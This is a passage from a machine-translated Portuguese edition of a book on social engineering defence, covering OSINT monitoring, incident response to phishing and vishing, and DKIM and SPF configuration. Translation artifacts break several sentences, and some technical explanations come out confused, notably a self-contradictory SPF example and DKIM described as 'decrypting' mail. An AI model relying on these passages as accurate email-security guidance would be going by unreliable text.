esse caminho.

Monitoramento de reputação e OSINT


O monitoramento OSINT proativo é tão essencial quanto a engenharia social proativa. O monitoramento
OSINT, ou a prática de realizar OSINT periodicamente em si mesmo ou em seus clientes, também é
chamado de marca e reputação

140 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

monitoramento ou monitoramento da dark web. O benefício do monitoramento OSINT,


em qualquer forma ou sabor, é que ele permite que a organização veja o que invasores
em potencial podem ver. Isso permite que a organização aja de forma adequada, antes
de um ataque, seja removendo os dados, se possível, aumentando o monitoramento ou
implementando desinformação ou engano.
Como o OSINT é amplamente passivo, você não pode realmente executar
simulações para condicionar os usuários de maneira a impedir que os invasores
coletem o OSINT. Existem poucas oportunidades de detecção. Em muitos casos, o
OSINT pode vir de contas de usuário e a organização não pode forçar um usuário a
remover algo da mídia social, a menos que interfira na propriedade intelectual por meio
do Digital Millennium Copyright Act (DMCA) ou algum outro critério legal.

Implementando um Programa de Monitoramento

Ao implementar um programa de monitoramento OSINT, concentre-se em encontrar


informações que possam representar riscos para o negócio. Não use isso como um meio
de espionar ou se intrometer na vida pessoal dos funcionários. Uma maneira fácil de
garantir que seus testes permaneçam éticos é terceirizar o monitoramento OSINT
(discutido em “Terceirização” na página XX).
Se sua organização optar por implementar seu próprio OSINT e programa de
monitoramento de reputação, ela deverá decidir os parâmetros dentro dos quais
operar. Ao fazer isso, ele deve definir o que testar, quando testar e como testar. Como
os funcionários podem postar qualquer coisa a qualquer momento, o teste mensal ou
trimestral é uma boa prática. Caso contrário, muitas das considerações necessárias para
configurar uma campanha de phishing também se aplicam aqui. O teste será automatizado
ou manual? Qual é o seu orçamento? Quão aprofundado se espera que seja o
engajamento? Qual é o escopo? Como você garantirá o respeito à privacidade e ao
arbítrio de seus funcionários para postar em suas mídias sociais?
Determinar a quantidade de testes manuais a serem conduzidos conduzirá a
conversa sobre o orçamento. Ter alguém procurando ativamente pelo OSINT sobre
uma organização requer o pagamento do investigador (e possivelmente o empregador
do investigador). O código automatizado não exige isso, mas o proprietário do código
pode cobrar uma taxa pelo uso do serviço.
Defina um escopo semelhante ao usado para projetos de engenharia social. Isso
é essencial para evitar a violação da privacidade de seus funcionários. Embora a
organização deva se preocupar com o que fornecedores, funcionários, contratados,
visitantes e parceiros publicam publicamente, evite procurar conteúdo compartilhado em
particular ou entre amigos. Não force os funcionários a se conectarem com você nas
mídias sociais ou tente entrar em suas listas de amigos usando contas falsas.

Terceirização

Pela minha experiência, geralmente é melhor que terceiros lide com o OSINT
e o monitoramento de reputação. Quando terceiros coletam OSINT em seus
funcionários, você pode aliviar as preocupações de que a organização espiona os
funcionários. Ele também mantém a equipe de segurança de sua organização longe
de contas pessoais pertencentes a outros funcionários, o que reduz a chance

Técnicas de Defesa Proativa 141


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

de acusações de perseguição ou assédio. Por fim, evita que o abuso real ocorra sob a
bandeira da segurança.
Além de evitar denúncias de assédio, fazer com que terceiros conduzam
O monitoramento OSINT permite que os investigadores operem com viés mínimo.
Eles são mais propensos a agir como uma peneira em vez de uma bomba, o que significa
que eles filtram as informações estranhas, irrelevantes para a segurança, geralmente
usando scanners da Web automatizados com pouca ou nenhuma intenção maliciosa e
fornecem à organização apenas informações relevantes.

Resposta a Incidentes

A resposta a incidentes é o conjunto de ações predefinidas que uma organização


tomará se um evento adverso atender aos critérios que o classificam como um incidente.
Parte de estar preparado é pensar no que pode acontecer se a engenharia social for bem-
sucedida. O restante é estudar como seus sistemas interagem para que você possa tomar
medidas para evitar impactos generalizados ou catastróficos. Conforme declarado
anteriormente neste livro, o momento de decidir quais ações tomar não é durante uma
campanha ativa de engenharia social.

O Processo de Resposta a Incidentes do SANS

O SANS Institute, uma organização de pesquisa e educação em segurança, define


um processo coeso de resposta a incidentes que inclui as seguintes etapas:
preparação, identificação, contenção, erradicação, recuperação e lições aprendidas
(Figura 10-1). Também conhecido como PICERL, esse padrão de resposta a incidentes
leva em consideração todo o ciclo de vida de um incidente, começando antes de ser
classificado e terminando após sua resolução. Em cada estágio, você define as etapas
necessárias para minimizar o impacto do ataque, restaurar os serviços o mais rápido
possível e corrigir a causa raiz do evento.
Na fase de preparação - que geralmente surge das lições aprendidas
fase que segue um incidente - você antecipa incidentes futuros executando programas
de conscientização, realizando simulações de phishing e monitorando seu OSINT.

A fase de identificação inicia-se no momento em que a organização toma


conhecimento de um evento que a organização classifica como incidente. Em um
contexto de engenharia social, o seguinte pode desencadear esta fase: um usuário
relatando que clica em um phishing; um usuário relatando que forneceu informações ou
acesso a um chamador pelo telefone; um alerta sobre ransomware de ferramentas de
prevenção de malware; logs do servidor que indicam spidering, acesso excepcionalmente
alto ou downloads de arquivos públicos; quaisquer e-mails recebidos em um endereço de
e-mail hon eypot (que não serve para nada além de ser descoberto por ferramentas de
spidering); alertas de e-mail suspeitos de software de filtragem de e-mail como Proofpoint
ou Mimecast; ou alertas personalizados com base em inteligência de ameaças internas e
externas.

142 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Lições Preparação
aprendido

Recuperação Identificação

Erradicação Contenção

Figura 10-1: O processo de resposta a incidentes do SANS

Depois de identificar e classificar um incidente, você entra na fase de contenção , na


qual toma medidas para garantir que a ameaça não se espalhe ainda mais. Quando se
trata de engenharia social, a ação de contenção pode incluir a captura de um domínio ou
a remoção de um e-mail do servidor de e-mail e da fila. Você também pode bloquear
diretamente o acesso de um domínio, endereço IP ou endereço de e-mail a partir da rede
e dos sistemas da organização.
Por fim, você pode isolar um sistema de computador do restante da rede ou colocá-lo em
uma caixa de proteção, forçar a redefinição da senha do usuário ou até mesmo desativar
as contas de usuário afetadas. Depois de realizar uma ação, você deve enviar um e-mail
em massa aos usuários para evitar que sejam vítimas.
Na fase de erradicação , você resolve o problema. Você remove qualquer
malware que foi instalado. Você analisa a causa raiz do incidente e começa a identificar
ações para ajudá-lo a se recuperar. A menos que haja malware envolvido, esta é
geralmente uma fase muito curta.
Na fase de recuperação , você executa todas as ações necessárias para se
recuperar totalmente do incidente. Isso pode significar reativar contas de usuário, alterar
configurações de rede para remover sandboxes ou outras segregações executadas como
resultado de atividade maliciosa e reverter alterações feitas pelo agente mal-intencionado.

Técnicas de Defesa Proativa 143


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois que tudo voltar ao normal, a fase de lições aprendidas é quando você
analise a causa raiz do incidente para determinar as lacunas existentes em seu
conhecimento e execução. Você corrigirá essas lacunas como parte da fase de preparação.
Este é o momento de ser introspectivo e decidir o que poderia ter sido feito melhor.

Respondendo a phishing
Agora que você entende os fundamentos da resposta a incidentes, precisa definir o
que os usuários devem fazer se forem vítimas de vários tipos de ataques de engenharia
social. Vamos começar com o phishing. Um e-mail de phishing que contém links ou arquivos
pode permitir que um invasor obtenha acesso aos seus sistemas.
Seu objetivo, então, deve ser acelerar a contenção e a erradicação.
Uma dica para possibilitar respostas rápidas é escolher uma única cor diferente do
preto para todos os cabos de rede. Isso permitirá que você instrua os funcionários a
desconectar o cabo colorido da parte traseira do computador ou da parede.
Lembre-se de que os sistemas ainda podem estar conectados à rede sem fio e você
também deve definir o comportamento para desconectar os dispositivos sem fio.
Peça aos usuários que relatem a hora aproximada em que o incidente
ocorreu. Esse detalhe ajuda a equipe de segurança a localizar os logs que devem
vasculhar, em vez de deixá-los sem pistas de onde procurar.
Ao serem vítimas do ataque, os usuários devem sair, bloquear a tela, desligar,
desconectar da rede ou hibernar o sistema. As ações que um usuário deve realizar
dependem dos recursos da organização e de sua possível resposta a um determinado
incidente. Por exemplo, se nenhuma análise forense ocorrer, não há motivo para hibernar o
sistema. Como alternativa, se a organização for reconstruir o sistema a partir de uma mídia
boa e conhecida, a ação correta pode ser apenas desligar o sistema após coletar os

artefatos.
O usuário também deve relatar o endereço de e-mail de origem ou o site do phishing,
quaisquer janelas e aplicativos abertos e se algo incomum aconteceu na tela.

Você deve imprimir essas diretrizes, plastificá-las e colocá-las no espaço de trabalho


físico de cada usuário. A qualquer momento, um usuário deve ser capaz de consultar a
planilha e executar as ações necessárias.

Respondendo a Vishing
Embora semelhante ao phishing, o vishing apresenta desafios únicos. Na ausência
de monitoramento de todas as chamadas telefônicas, a capacidade de identificar e agir
sobre as chamadas de vishing depende do relato da equipe, bem como do conhecimento
prévio das ações a serem tomadas. Nenhum sistema de detecção de intrusão (IDSs) ou
SEIMs generalizado ou preciso abrange chamadas telefônicas. As empresas podem
monitorar o tráfego de internet de qualquer telefone conectado à rede Wi-Fi corporativa,
mas não chamadas telefônicas comuns ou seu contexto. Felizmente, um invasor não pode
(imediatamente) fazer login e assumir o controle de uma rede a partir de uma chamada telefônica.
Mesmo que alguém que esteja fazendo vishing obtenha informações, os controles técnicos
podem impedir que causem mais danos. Independentemente disso, você deve definir
ações para responder às tentativas de vishing.

144 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Primeiro, ao perceber que está sofrendo um ataque de vishing, os usuários devem


desligar, pedir para ligar de volta, tentar obter informações do chamador ou mentir para
confundir o chamador. O gerenciamento de segurança dentro da organização precisará
decidir quais ações devem ser treinadas pelos funcionários. Um nível de risco está associado
a encorajar os usuários a solicitar informações ou mentir; o usuário pode fornecer informações
valiosas e precisas inadvertidamente. Os usuários devem então entrar em contato com a
segurança da informação e fornecer a hora aproximada em que ocorreu o incidente, as ações
que tomaram, o número de telefone que ligou, as informações que foram solicitadas e as
informações que forneceram. Eles também devem fornecer informações adicionais sobre o
chamador, como sotaque, dialeto, tom ou humor, ou a presença de ruídos de fundo.

Respondendo à coleção OSINT

Detectar a coleção OSINT é difícil, porque plataformas como Shodan, Censys e


Have I Been Pwned não permitem que você defina automaticamente alertas em consultas,
embora você possa escrever seu próprio código para definir alertas sempre que os ativos da
organização aparecerem nessas plataformas. Have I Been Pwned permite que as organizações
que podem demonstrar a propriedade de um domínio configurem esses alertas, mas não
compartilharão nenhuma credencial violada pertencente a contas no domínio. Mas, como a
coleta OSINT geralmente ocorre na fase de reconhecimento de um envolvimento de hacking
ético, é comum vê-la ocorrer junto com a varredura e a enumeração, que são detectáveis.

A primeira camada de detecção está dentro de um CDN como Cloudflare ou


Amazon CloudFront, se usado. A próxima camada está dentro dos logs do servidor web
ou nos logs de aplicativos dos aplicativos web. Essas fontes irão instruir a organização
sobre quem está escaneando e o que está sendo escaneado. Freqüentemente, faltará o
contexto necessário para diferenciar entre varredura da Web em massa e um adversário
real tentando coletar OSINT ou trabalhando por meio de varredura e enumeração.

Decida quais ações você deve bloquear. Os exemplos podem incluir o bloqueio de
usuários após um certo número de erros 404 causados por spidering; bloqueio ou limitação
de taxa de spidering para um certo número de eventos por segundo; bloquear qualquer
pessoa que baixe um certo número de arquivos públicos, usando uma string de agente de
usuário específica no navegador ou script; e bloqueando usuários que navegam para uma
página de mel.

Lidando com a atenção da mídia

Dependendo da gravidade do ataque, da publicidade que recebe e de outros eventos que


ocorrem no ciclo de notícias, a mídia pode tentar falar com pessoas de sua organização
durante um incidente. Embora isso não deva ser sua principal prioridade, deixar de responder
às perguntas da mídia pode enviar uma mensagem pior do que admitir que não conhece
todos os detalhes no momento. Embora a mídia deva entrar em contato com a equipe de
relações públicas da organização, alguns podem tentar contatar e entrevistar qualquer
funcionário.
Para controlar a mensagem que está sendo transmitida ao público, imponha um
blecaute de mídia a todos os funcionários, exceto aqueles definidos em sua resposta a incidentes

Técnicas de Defesa Proativa 145


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

plano. Forneça aos funcionários não autorizados um modelo de resposta para lidar com
essas consultas. Isso pode ser uma declaração simples como “Não estou autorizado a
discutir os detalhes do assunto de sua solicitação” ou um redirecionamento para o
representante de mídia designado na empresa.
As partes autorizadas a falar com a mídia devem entender
que tom adotar, como recusar-se a responder e com quem falar para saber os fatos que
compartilharão com os jornalistas. Defina também uma pessoa ou comitê para revisar e aprovar
quaisquer mensagens que o relações públicas fornecerá à mídia.

Também recomendo consultar a equipe interna de relações públicas de sua organização


e quaisquer consultores externos de relações públicas que sua organização usa. Eles poderão
falar sobre as políticas e procedimentos específicos de sua organização, enquanto eu estou
falando em termos mais gerais.

Como os usuários devem relatar incidentes


Se você não disser aos usuários como eles devem relatar incidentes suspeitos, eles podem
bombardear um guarda do portão que não tem como resolver o problema. Uma estratégia é
configurar um phishing@organization.com endereço de e-mail para coletar os e-mails de
phishing que os usuários recebem. Você também pode configurar cyber@organization.com
ou incidentes@organization.com como endereços catchall que encaminham e-mails para
as partes apropriadas.
Quando um usuário é vítima de um phishing e pode ter introduzido malware no ambiente,
relatar por e-mail pode não ser a melhor abordagem.
Isso porque é possível que todo o sistema de e-mail tenha sido comprometido e que
invasores possam ler, bloquear ou alterar a mensagem. Dependendo do tamanho da
organização e se o usuário está no local ou remoto, você pode direcionar os usuários para
relatar o incidente pessoalmente, ligar para um número de telefone ou enviar uma mensagem
usando um bate-papo privado ou uma plataforma segura de mensagens de texto como o
Signal , Wickr ou Wire.

Controles Técnicos e Contenção


Ao identificar um e-mail de phishing, a equipe de segurança deve coletar o e-mail e todas
as informações relevantes sobre ele, respeitando as políticas e procedimentos
organizacionais. Isso renderá dividendos ao produzir inteligência de ameaças, o que pode
ser necessário dependendo do setor em que a organização está e se ela pertence a algum
Centro de Compartilhamento e Análise de Informações (ISACs).

Do próprio e-mail, você deve coletar o endereço de e-mail de origem, detalhes


sobre se o endereço de e-mail foi falsificado (discutido no Capítulo 12) e o endereço IP de
origem. Você também deve bloquear os endereços de origem e verificar os logs para ver se
algum outro usuário ou host se comunicou com os endereços de origem. Para analisar melhor
o ataque, use as ferramentas discutidas no Capítulo 12.

Se o esquema de phishing envolver um arquivo malicioso, você pode carregá-lo no


site de detecção de malware VirusTotal para obter uma resposta rápida sobre o conteúdo do
arquivo, supondo que seja um malware conhecido. Além disso, faça uma análise criptográfica

146 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

hash do arquivo e verifique os sistemas na rede em busca de arquivos que produzam o mesmo
hash. Ajuste o SEIM para alertá-lo sobre instâncias recebidas deste arquivo também.

Sinkhole quaisquer endereços IP ou URLs associados ao e-mail de phishing


para redirecionar os usuários para uma página benigna e configurar alertas nas estações
de trabalho para quem tentar acessar o site malicioso. Depois que o e-mail é bloqueado, a equipe
de segurança pode entrar em contato com todos os usuários, aconselhando-os a evitar o e-mail.
Quando o incidente estiver na fase de recuperação, transfira as informações coletadas para
inteligência de ameaças e siga as orientações da organização sobre publicação e distribuição.

Conclusão
Parte de manter sua organização segura é manter os usuários informados, conscientes e
alertas. Ao aplicar uma política não punitiva associada a incentivos para comportamento positivo
para reforçar as ações desejadas, você pode melhorar drasticamente a postura de segurança de
sua organização enquanto capacita os funcionários a tomar boas decisões. Depois que os usuários
são treinados, sabem o que procurar e entendem o que fazer quando são vítimas de ataques de
engenharia social, é hora de envolvê-los usando testadores internos ou externos para medir sua
adesão à orientação da organização.

Mesmo depois de treinar os usuários, ainda é necessário testá-los por meio de phishing
simulações e monitoramento OSINT. Às vezes, as pessoas querem compartilhar publicamente
ocasiões como promoções, seu último dia de trabalho ou seu primeiro dia de trabalho — e,
conforme discutido no Capítulo 5, elas não pensam em outras informações que estão incluindo
na moldura de suas fotos. . Da mesma forma, as pessoas querem compartilhar sua experiência
de trabalho para que possam demonstrar suas competências aos gerentes de contratação, mas
isso torna os detalhes técnicos listados em seus currículos pesquisáveis.

Integrar seu treinamento com seu processo de resposta a incidentes é um aspecto


crucial da defesa contra a engenharia social. Os programas de conscientização ajudam a
organização a evitar invocar a resposta a incidentes em primeiro lugar, mas também devem
ajudar o processo de resposta a incidentes a funcionar de maneira mais tranquila nos casos
em que os usuários são vítimas.
Dizer explicitamente aos usuários o que fazer se eles forem vítimas de engenharia social
também melhora drasticamente a postura de segurança da organização. Se pessoas não
técnicas forem deixadas por conta própria, solicitadas a realizar ações técnicas sem orientação,
é provável que ignorem o problema ou tentem encobri-lo. Definir as etapas a serem tomadas
pelos usuários e pela equipe de segurança quando algo der errado vai poupar muita dor de
cabeça à organização e permitir que ela se concentre na restauração.

Técnicas de Defesa Proativa 147


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

11
CONTROLES DE E-MAIL TÉCNICO

Até agora, realizamos ataques de phishing e


aprendemos como treinar os usuários para perceber
eles. Também discutimos como responder quando
as pessoas são vítimas de engenharia social, apesar
de nosso treinamento. Este capítulo aborda a implementação
de controles técnicos de e-mail para ajudar a fornecer uma rede
de segurança para a organização e remover parte dessa carga
do usuário.
Além disso, discutiremos dispositivos e serviços de e-mail que podem filtrar e gerenciar e-mails.
Mas antes de entrarmos nisso, vamos ver os padrões reais associados ao lado técnico dos controles
de e-mail.

Padrões
À medida que o e-mail evoluiu, também evoluíram as tecnologias para protegê-lo. E à medida que
essas tecnologias evoluíram, também evoluíram os padrões de ataque, tornando-se, como acontece com
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

qualquer coisa na área de segurança da informação, um contínuo jogo de gato e


rato. Ao longo do tempo, os profissionais de segurança propuseram, debateram e
aprovaram uma variedade de padrões. Quando se trata de proteger o email, existem
três principais: Domain Keys Identified Mail (DKIM), Sender Policy Framework (SPF) e
Domain-based Message Authentication, Reporting, and Conformance (DMARC).
Discutiremos cada um deles nesta seção.
O que esses três padrões fazem? Um equívoco comum é que eles protegem
seus e-mails contra tentativas de phishing ou falsificação recebidas. Até certo ponto,
eles o fazem, mas é mais correto descrevê-los como protegendo sua reputação: se
você enviar um e-mail com esses padrões implementados e o domínio do destinatário
estiver configurado para verificar os registros associados, eles poderão detectar
tentativas de falsificação de seu domínio. Embora isso possa parecer contra-intuitivo e
improdutivo, acompanhe o restante deste capítulo para ver como isso pode ajudá-lo.

Resumindo, o SPF verifica se um host ou endereço IP está na lista do remetente,


O DKIM envia uma assinatura digital e o DMARC implementa SPF e DKIM, além
de verificar o alinhamento. O DMARC também estabelece relatórios. SPF é considerado
o mais baixo dos padrões de segurança. A ressalva é que o destinatário deve ter seus
servidores de correio configurados para verificar a orientação do remetente em relação
aos padrões e, em seguida, executar as ações.

Campos “De”

Para entender como esses padrões funcionam, você precisa entender os vários tipos de
campos De em um e-mail. Além de um campo Responder para , os e-mails têm De
e MailFrom. O campo De , também chamado de 5322.From, exibe o remetente. O
campo MailFrom , ou 5321.MailFrom, é o serviço real que enviou o e-mail. Por exemplo,
se eu enviar e-mails usando o MailChimp, meu endereço de e-mail estaria no campo
5322.From e o servidor e o endereço do MailChimp estariam no 5321.
Campo MailFrom.
Os números anexados a esses campos vêm dos RFCs nos quais foram definidos.
Aqui está outra maneira fácil de pensar sobre isso: o campo 5321.MailFrom é o
equivalente a um endereço de retorno em um envelope enviado pelo serviço postal,
enquanto o campo 5322. De campo é o equivalente a um endereço de retorno no topo
de uma carta contida dentro do envelope.
Agora vamos cobrir esses três padrões em ordem cronológica, começando com
DKIM.

E-mail Identificado com Chaves de Domínio

O DKIM tornou-se um padrão da Internet em 2011. Ele procura autenticar e-mails e


evitar falsificações, exigindo que os remetentes assinem criptograficamente partes do
e-mail, incluindo o campo 5322.From. Visto que um invasor provavelmente não terá
acesso à chave privada usada para assinar digitalmente o campo, os destinatários do e-
mail podem identificar rapidamente as tentativas de falsificação.
O cabeçalho DKIM, um campo incluído na mensagem de e-mail, especifica onde
para obter a chave pública que pode verificar a assinatura. A chave pública é
armazenada em um registro DNS TXT usando o domínio DNS (d=) e o seletor (s=)

150 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

tags que você pode encontrar na mensagem de e-mail. A chave pública DKIM é a única parte da
estrutura visível para a população em geral, mas encontrá-la depende de conhecer o seletor, o
que você pode fazer apenas se receber um e-mail do domínio (ou conseguir força bruta).

O processo DKIM é o seguinte. Primeiro, você compõe um e-mail. À medida que o e-mail
é enviado, a chave privada associada à sua entrada DKIM cria duas assinaturas digitais que
comprovam a autenticidade do e-mail. Uma assinatura é para o próprio cabeçalho DKIM e a outra
é para o corpo do e-mail.
Cada e-mail tem um par único de assinaturas. As assinaturas são colocadas no cabeçalho e
enviadas junto com o e-mail. Uma vez recebida, e se o servidor de e-mail do destinatário tiver
DKIM configurado, o servidor verificará a autenticidade da mensagem usando a chave pública
publicada nos registros DNS. Se a chave conseguir descriptografar o e-mail com sucesso, o e-mail
é autêntico e não foi alterado.

Dito isso, o DKIM não costuma ser usado para autenticação. Em vez disso, nós principalmente
use-o para verificar a autenticidade e para algo chamado alinhamento DMARC, discutido em
“Autenticação, relatórios e conformidade de mensagens baseadas em domínio” na página XX. Uma
das deficiências do DKIM é que ele só é eficaz se o remetente e o destinatário o implementarem.
Além disso, mesmo que sua organização implemente o DKIM internamente, ela pode proteger seus
usuários apenas de atores externos que falsificam outros funcionários internos, o que é bom para sua
reputação, mas faz pouco para alcançar a segurança de outra forma.

Afinal, os atores podem falsificar um terceiro confiável. Porém, conforme mencionado anteriormente,
o destinatário deve ter seus servidores de e-mail configurados para verificar a autenticação DKIM,
que normalmente é realizada por meio da implementação do DMARC. Na ausência do DMARC, as
falhas de autenticação ainda são transmitidas ao destinatário.

O DKIM foi introduzido pela primeira vez no RFC 6376. Mais tarde, o RFC 8301 o corrigiu
com a seguinte especificação sobre o tipo de criptografia que o DKIM poderia usar:

Dois algoritmos são definidos por esta especificação neste momento: rsa-
sha1 e rsa-sha256. Os signatários DEVEM assinar usando rsa-sha256.
Os verificadores DEVEM ser capazes de verificar usando rsa-sha256. rsa-sha1 NÃO
DEVE ser usado para assinatura ou verificação.

Em 2018, outro RFC lidando com DKIM foi lançado; O RFC 8463 adicionou um novo
algoritmo de assinatura, ed25519, que usa SHA-256 e Edwards curve Digital Signature Algorithm
(EdDSA) no lugar de uma chave RSA.

Implementando DKIM

Para que o DKIM seja eficaz, você deve configurá-lo não apenas em seu servidor DNS, mas
também no servidor de correio. Caso contrário, ele atua como um impedimento na melhor das hipóteses.
Vamos ver como configurar o DKIM em um domínio hospedado no Google Workspace. Outros
servidores de correio têm recursos semelhantes.
O Gmail normal usa as chaves DKIM padrão do Google, assim como os domínios hospedados
no Workspace que não possui DKIM configurado. Você não pode configurar seu próprio DKIM
para uma conta do Gmail hospedada em gmail.com, mas pode, por um

Controles Técnicos de E-mail 151


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

domínio usando o Workspace. De acordo com os documentos de suporte do Google, se um


usuário não configurar sua própria chave pública DKIM, o Google usará o seguinte padrão:
d=*.gappssmtp.com.
Vamos configurar nossa própria chave privada. Primeiro, navegue até o console do
administrador do Workspace como um superadministrador. Assim que estiver no console, clique
em Autenticar e-mail, conforme mostrado na Figura 11-1.

Figura 11-1: Selecionando a opção Autenticar e-mail

Agora você deve ver a opção de autenticação DKIM e ser solicitado


para selecionar um domínio para configurar o suporte do DKIM (Figura 11-2).

Figura 11-2: Iniciando a configuração do DKIM

152 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois de selecionar Gerar novo registro, você precisará selecionar um tamanho de


chave e o seletor (Figura 11-3). Observe que alguns provedores de hospedagem e plataformas DNS
não oferecem suporte a comprimentos de chave de 2.048 bits. De acordo com o Google, se for esse
o caso, o padrão é voltar para chaves de 1.024 bits.

Figura 11-3: Gerando o registro DKIM e a chave RSA

A partir daqui, selecione o domínio conforme apropriado e clique em Gerar novo


Registro. Isso criará a chave (censurada na Figura 11-4). Abra uma nova janela para copiar e
colar isso no DNS. Quando isso estiver concluído, clique em Iniciar Autenticação.

Figura 11-4: registro DKIM no Google Workspace

Após esta etapa, entre no cPanel, uma ferramenta comum de gerenciamento de domínio
usada por muitos provedores de hospedagem. O cPanel deve incluir um DNS Zone Editor,
com uma caixa que permite que você insira sua chave pública em um registro TXT (Figura 11-5).

Controles Técnicos de E-mail 153


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Observe que esses painéis podem limitar você a 255 caracteres: muito curto para
a chave de 2.048 bits recomendada pelos padrões da indústria. (Quando isso aconteceu
comigo, entrei em contato com o suporte e pedi que inserissem manualmente as informações
em meu nome, o que eles fizeram com relutância.)
Depois de salvar a chave, a propagação do registro pode levar até 48 horas. Você
precisará clicar em Iniciar autenticação no painel para verificá-la após a conclusão da
propagação. A propagação normalmente leva de 24 a 48 horas, mas às vezes até 72 horas,
dependendo da infraestrutura e do provedor.

Figura 11-4: registro DKIM no Google Workspace

Figura 11-5: Adicionando um registro DNS TXT

Aqui está outra consideração importante, discutida mais adiante no próximo


seção: você deve validar se seu provedor de hospedagem e DNS oferece suporte a
entradas DNS concatenadas antes de usar qualquer coisa acima de uma chave RSA de 1.024 bits.
Essencialmente, certos provedores impõem limites ao número de caracteres que podem ser
inseridos em uma única entrada no DNS. Sua implementação DMARC falhará no alinhamento
se o provedor não oferecer suporte à concatenação, pois o DNS irá interpretá-la como duas
entradas TXT não relacionadas e falhará em cumprir sua finalidade.
Para configurar o DKIM em outros provedores de e-mail, como Exchange, Office
365 e Sendmail, você pode encontrar links para vários tutoriais em http:// email
security.seosint.xyz.

154 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Deficiências do DKIM

A criptografia usada no DKIM às vezes inclui vulnerabilidades. Até 2018, o DKIM permitia o uso do
algoritmo SHA-1 para assinatura e verificação. No entanto, a comunidade de segurança sabe que o
SHA-1 é inseguro desde 2010, antes mesmo de o padrão DKIM ser criado. Pesquisadores do CWI
Amsterdam e do Google desde então realizaram com sucesso um ataque de colisão no protocolo,
ponto no qual a maioria das partes nas comunidades de criptografia e segurança o desaprovaram. O
ataque de colisão permitiu que as partes pegassem hashes de dois arquivos que não correspondiam e
produzissem o mesmo hash a partir deles, fazendo parecer que eles correspondiam. Todos os principais
fornecedores de navegadores da web anunciaram que parariam de aceitar certificados SHA-1 em 2017.

É verdade que criar uma colisão no local preciso dentro do processo de operações
DKIM ainda exigiria muito poder computacional, portanto, apenas organizações
sofisticadas e bem financiadas, como estados-nação ou grandes empresas de
tecnologia, poderiam ter os recursos para realizar tal ataque. Afinal, o Google foi uma
das duas partes que produziram a colisão SHA-1 (e é improvável que o Google tente
enviar e-mails não autorizados para sua organização). Mas se você tiver autonomia para
isso, use o SHA-256 mais seguro.

Em segundo lugar, existem vulnerabilidades no RSA, usado como infraestrutura de chave pública
tura do padrão DKIM. Como mencionei anteriormente, a ferramenta DKIM do Google suporta dois
RSAs de 1.024 bits e 2.048 bits. O RSA de 2.048 bits é o padrão mínimo atual do setor. Há um debate
significativo sobre se o RSA é seguro, dados os avanços matemáticos, computacionais e criptográficos
desde a introdução do RSA. Vários acadêmicos e pesquisadores afirmaram ser capazes de quebrar o
RSA ou reduzir o criptosistema RSA. Reduzir o criptosistema é um método de enfraquecer sua força,

identificando grandes números primos usados e fatorando.

O uso de RSA de 1.024 bits certamente é uma vulnerabilidade no papel, enquanto o uso de
RSA de 2.048 bits é desencorajado, mas não proibido. Pragmaticamente, sem recursos
computacionais maciços ou acesso a recursos de computação quântica, nem o RSA de 1.024 nem
o de 2.048 bits pode ser quebrado em menos de dois milhões de anos em um único sistema. Versões
posteriores do DKIM adicionaram Ed25519-SHA256 como um algoritmo aceito, embora não tenha sido
amplamente adotado.
A fraqueza final no DKIM não é uma vulnerabilidade, mas sim uma falha. O DKIM é excelente
de implementar e pode proteger a reputação de uma organização, mas apenas se o servidor de e-
mail do destinatário estiver configurado para verificar a assinatura DKIM e tomar medidas contra e-
mails que alegam vir de um domínio com DKIM ativado; caso contrário, a reputação da sua organização
ainda pode ser prejudicada.

Estrutura da Política do Remetente

Como o DKIM, o Sender Policy Framework (SPF) procura impedir a falsificação usando registros TXT
do DNS. Nesses registros TXT, o SPF define os domínios, listas de hosts, domínios e endereços IP
e endereços IP permitidos para enviar e-mails de um ambiente de e-mail ou em nome de um domínio.

Controles Técnicos de E-mail 155


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Enquanto algumas fontes descrevem o SPF como autenticando o remetente, é mais


apropriado para descrever a estrutura como validando-a; se configurado para isso, o destinatário
verificará as informações do remetente dos campos 5322 e 5321 para autorizar os remetentes, conforme
definido no registro SPF. Se o registro estiver configurado para hard fail, o e-mail falhará, e se estiver
configurado para soft fail, o e-mail será bem-sucedido.

Para ver como isso funciona, imagine que alguém falsifica um e-mail de um domínio. O
destinatário verifica o registro SPF e observa que o domínio de envio possui falhas graves configuradas;
além disso, o remetente não está listado no registro.
Além disso, a política SPF está definida para passar. Nesse caso, o e-mail não chegará ao seu destino.
Se não houvesse um registro SPF, ou se a política fosse definida como nenhum ou configurada para
falha temporária, o e-mail teria sido bem-sucedido.
Como o SPF não requer criptografia, o SPF e o DKIM são complementares
mentar, não concorrentes. O SPF é baseado em lógica, pois compara os valores recebidos com
uma lista. O host, domínio ou endereço IP está no registro ou não. O DKIM emprega lógica e
criptografia na forma de assinaturas digitais. Você pode ler mais sobre o SPF na RFC 7208, que o
introduziu em 2014.

Implementando SPF

Vamos implementar o SPF no Google Workspace. Comece determinando quaisquer provedores de


serviço, como Google ou Outlook, e os domínios associados com permissão para enviar e-mail em
nome de sua organização. (Você pode especificar esses domínios no registro MX.) Se estiver
executando um servidor de correio interno, como o Exchange, determine também os blocos de rede
autorizados a enviar e-mail em nome da organização.

Em seguida, para esses domínios e endereços IP, escolha uma política para vários
situações:

Aprovado (+) Permite a passagem de todos os e-mails (não recomendado, a menos que seja
